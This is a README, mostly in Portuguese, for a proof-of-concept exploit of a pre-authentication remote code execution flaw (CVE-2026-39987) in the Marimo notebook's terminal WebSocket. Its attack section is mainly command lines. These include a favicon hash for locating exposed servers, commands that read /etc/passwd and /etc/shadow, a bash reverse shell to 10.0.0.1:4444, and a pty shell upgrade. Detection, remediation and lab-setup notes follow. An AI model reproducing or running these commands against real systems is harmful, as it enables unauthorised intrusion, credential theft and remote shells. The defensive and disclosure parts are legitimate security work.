
PoC de CVE-2026-39987: RCE pre-autenticación vía WebSocket en Marimo menor a 0.23.0 (CVSS 9.3).
Este script é SOMENTE para fins educacionais e testes autorizados. O uso não autorizado desta ferramenta contra sistemas sem permissão explícita é ILEGAL. O autor não se responsabiliza pelo mau uso desta informação.
Versões do Marimo anteriores à 0.23.0 apresentam uma vulnerabilidade crítica de execução remota de comandos (RCE) sem autenticação prévia. O endpoint /terminal/ws não implementa controles de acesso adequados, permitindo que um atacante não autenticado obtenha uma shell interativa completa no sistema.
| Detalhe | Informação |
|---|---|
| CVE | CVE-2026-39987 |
| Severidade | CRÍTICA |
| CVSS Score | 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) |
| Tipo | Pre-Auth Remote Code Execution (RCE) |
| Vetor | WebSocket (/terminal/ws) |
| Produto Afetado | Marimo < 0.23.0 |
| Correção | Marimo ≥ 0.23.0 |
http.favicon.hash:-1864630356
text
-1864630356/api/versionpip install websockets requests
Uso Básico
bash
python CVE-2026-39987_PoC.py http://vitima.com:8080 "id"
Exemplos
bash
# Obter informações do sistema
python CVE-2026-39987_PoC.py http://target.com:8080 "id"
python CVE-2026-39987_PoC.py http://target.com:8080 "uname -a"
python CVE-2026-39987_PoC.py http://target.com:8080 "whoami"
# Ler arquivos sensíveis
python CVE-2026-39987_PoC.py http://target.com:8080 "cat /etc/passwd"
python CVE-2026-39987_PoC.py http://target.com:8080 "cat /etc/shadow"
# Reverse shell
python CVE-2026-39987_PoC.py http://target.com:8080 "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
# Shell interativa
python CVE-2026-39987_PoC.py http://target.com:8080 "python3 -c 'import pty; pty.spawn(\"/bin/bash\")'"
🛡️ Detecção (Segura)
Script de detecção passiva
bash
python detector.py -u http://target.com:8080
python detector.py -l urls.txt
Nuclei Template
yaml
# marimo-cve-2026-39987.yaml
id: CVE-2026-39987
info:
name: Marimo < 0.23.0 Pre-Auth RCE
severity: critical
# ... (template completo incluído)
🔧 Remediação
Imediata
DESCONECTAR o sistema da rede se estiver exposto
Bloquear acesso à porta onde o Marimo está em execução
Revisar logs em busca de atividade suspeita
Permanente
bash
# Atualizar para versão corrigida
pip install --upgrade marimo>=0.23.0
# Verificar versão
marimo --version
# Configurar autenticação se for exposto publicamente
# NUNCA expor 'marimo edit' diretamente à internet
Docker (Ambiente vulnerável)
bash
# Executar versão vulnerável para testes
docker run -p 8080:8080 marimo-team/marimo:0.22.0
# Verificar vulnerabilidade
python CVE-2026-39987_detector.py http://localhost:8080
# Explorar
python CVE-2026-39987_PoC.py http://localhost:8080 "id"
GitHub Security Advisory
NVD Entry
Pull Request #9098
Marimo Documentation
👥 Créditos
Descoberta: [Nome do pesquisador]
Desenvolvimento do PoC: [Seu nome]
Correção: Marimo Team
📜 Licença
Este projeto é somente para fins educacionais. O uso deste software é por sua conta e risco.
⭐ Se este README foi útil para você, considere dar uma estrela ao repositório.
⚠️ LEMBRE-SE: COM GRANDE PODER VEM GRANDE RESPONSABILIDADE